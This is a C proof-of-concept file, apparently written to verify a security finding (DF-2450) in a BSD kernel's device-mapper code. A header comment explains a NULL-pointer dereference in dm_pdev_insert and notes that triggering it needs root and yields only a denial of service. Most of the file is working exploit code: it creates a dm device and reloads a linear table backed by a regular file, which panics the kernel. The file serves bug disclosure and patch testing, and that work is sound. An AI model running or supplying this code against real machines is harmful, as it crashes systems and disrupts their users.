DF-2450 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | /* * DF-2450 PoC -- dm_pdev NULL-deref via non-block-device backing path. * * Bug (sys/dev/disk/dm/dm_pdev.c, dm_pdev_insert, line 168): * * 143: error = dm_dk_lookup(dev_name, &dmp->pdev_vnode); * 144: if (error) { ... return NULL; } // <-- handled cleanly * ... * 167: bzero(&dmp->pdev_pinfo, sizeof(dmp->pdev_pinfo)); * 168: error = dev_dioctl(dmp->pdev_vnode->v_rdev, DIOCGPART, * 169: (void *)&dmp->pdev_pinfo, 0, proc0.p_ucred, NULL, NULL); * * dm_dk_lookup() calls vn_open(). For a REGULAR FILE (not /dev/nonexistent), * vn_open SUCCEEDS, so dm_pdev_insert proceeds past the error check at 144. * But regular-file vnodes have v_rdev == NULL (only block/char devices set it). * * At line 168, dev_dioctl(NULL, DIOCGPART, ...) dereferences NULL+0xa8: * * dev_dioctl+0xc: movq 0xa8(%rdi),%rax ; %rdi = NULL * * Result: kernel panic (Fatal trap 12, page fault, fault va=0xa8). * * TRIGGER: create a dm device, then reload a `linear` table whose backing * path is a REGULAR FILE (e.g. /tmp/df2450_backing). dm_pdev_insert opens * it (vn_open succeeds), then crashes at dev_dioctl because v_rdev is NULL. * * NOTE ON THE FINDING DESCRIPTION: The original claim said "path does NOT * resolve (e.g. /dev/nonexistent)". That specific case is handled cleanly * (dm_dk_lookup fails, dm_pdev_insert returns NULL, linear target returns * ENOENT). The ACTUAL trigger is a path that RESOLVES to a non-block-device * vnode (regular file). The underlying bug (NULL v_rdev passed to * dev_dioctl) is real and is in dm_pdev.c:168 as cited. * * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator. maxx (uid 1001) * is NOT in operator/wheel. This PoC must run as root. There is no * unprivileged path -- this is a root->kernel DoS (valid hard blocker for * uid0). NULL-deref has no write primitive, so no escalation chain. * * Build: cc -O2 -o poc poc.c -lprop * Run: ./poc (as root, after `kldload dm`) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2450dev" #define BACKING_FILE "/tmp/df2450_backing" static int g_ctlfd = -1; static int send_ioctl(prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); /* major */ prop_array_add_uint32(ver, 0); /* minor <= 16 */ prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_create(const char *name) { prop_dictionary_t dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } static int do_remove(const char *name) { prop_dictionary_t dict = new_dm_dict("remove"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } /* * Reload a linear table with the given backing path. * params: "<dev_path> <offset>" */ static int do_reload_linear(const char *name, const char *devpath) { prop_dictionary_t dict, target_dict; prop_array_t cmd_data; char params[256]; int rv; snprintf(params, sizeof(params), "%s 0", devpath); dict = new_dm_dict("reload"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); cmd_data = prop_array_create(); target_dict = prop_dictionary_create(); prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "linear"); prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0); prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 1024); prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params); prop_array_add(cmd_data, target_dict); prop_object_release(target_dict); prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data); prop_object_release(cmd_data); rv = send_ioctl(dict); prop_object_release(dict); return rv; } int main(void) { int rv, fd; g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, " (need root; is `dm` loaded? run: kldload dm)\n"); return 1; } printf("[*] DF-2450 dm_pdev NULL-deref via non-block-device backing path\n"); printf("[*] Bug: dm_pdev_insert:168 dev_dioctl(v_rdev=NULL, DIOCGPART)\n"); printf("[*] Trigger: regular file as linear backing -> v_rdev NULL -> panic\n"); fflush(stdout); /* Create a regular file to use as the (invalid) backing device. */ fd = open(BACKING_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { fprintf(stderr, "[!] cannot create %s: %s\n", BACKING_FILE, strerror(errno)); close(g_ctlfd); return 1; } write(fd, "padding", 7); close(fd); printf("[*] created regular file %s (non-block-device vnode)\n", BACKING_FILE); /* Clean up any leftover device. */ (void)do_remove(DEV_NAME); /* Step 1: create a dm device. */ rv = do_create(DEV_NAME); printf("[*] create '%s': rv=%d (%s)\n", DEV_NAME, rv, rv ? strerror(rv) : "ok"); if (rv != 0 && rv != EEXIST) { fprintf(stderr, "[!] create failed unexpectedly\n"); close(g_ctlfd); return 1; } /* * Step 2: reload a linear table with backing path = regular file. * dm_pdev_insert -> dm_dk_lookup -> vn_open SUCCEEDS (it's a real * file). Then dev_dioctl(vnode->v_rdev=NULL, DIOCGPART) -> NULL+0xa8 * deref -> Fatal trap 12 page fault. */ printf("[*] reloading linear table with regular-file backing path...\n"); printf("[*] if claim is true: kernel panic in dev_dioctl (NULL v_rdev)\n"); fflush(stdout); rv = do_reload_linear(DEV_NAME, BACKING_FILE); /* * If we reach here, the kernel did NOT panic. * On the UNPATCHED kernel, this line should never execute (panic). * On a FIXED kernel, reload returns cleanly (ENOENT or ENOTBLK). */ printf("[!] reload rv=%d (%s) -- kernel survived\n", rv, rv ? strerror(rv) : "ok"); if (rv == 0) { printf("[!] reload succeeded -- unexpected\n"); } /* Cleanup. */ (void)do_remove(DEV_NAME); close(g_ctlfd); return 0; } |